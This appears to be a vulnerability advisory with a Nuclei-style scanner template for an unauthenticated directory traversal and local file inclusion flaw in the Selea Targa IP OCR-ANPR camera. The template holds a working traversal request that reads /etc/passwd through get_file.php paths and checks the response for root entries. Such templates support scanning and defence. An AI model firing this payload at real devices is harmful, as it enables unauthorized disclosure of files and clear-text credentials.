Selea Targa IP OCR-ANPR camera suffers from an unauthenticated local file inclusion vulnerability because input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker in disclosing clear-text credentials.
PoC代码[已公开]
id: targa-camera-lfi
info:
name: Selea Targa IP OCR-ANPR Camera - Local File Inclusion
author: gy741
severity: high
description: Selea Targa IP OCR-ANPR camera suffers from an unauthenticated local file inclusion vulnerability because input passed through the Download Archive in Storage page using get_file.php script is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks and aid the attacker in disclosing clear-text credentials.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cwe-id: CWE-22
metadata:
max-request: 1
tags: targa,lfi,iot,camera,selea,vuln
http:
- method: GET
path:
- "{{BaseURL}}/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402202f67ac22023b2ee9727f7a155ef724b7c38fcde0ca545b274580148d9a4bd59102206bb2f257d88a667b997e8b7cf7dd7188350ceafe09bbf63ce7e07d01edb37262:922c64590222798bb761d5b6d8e72950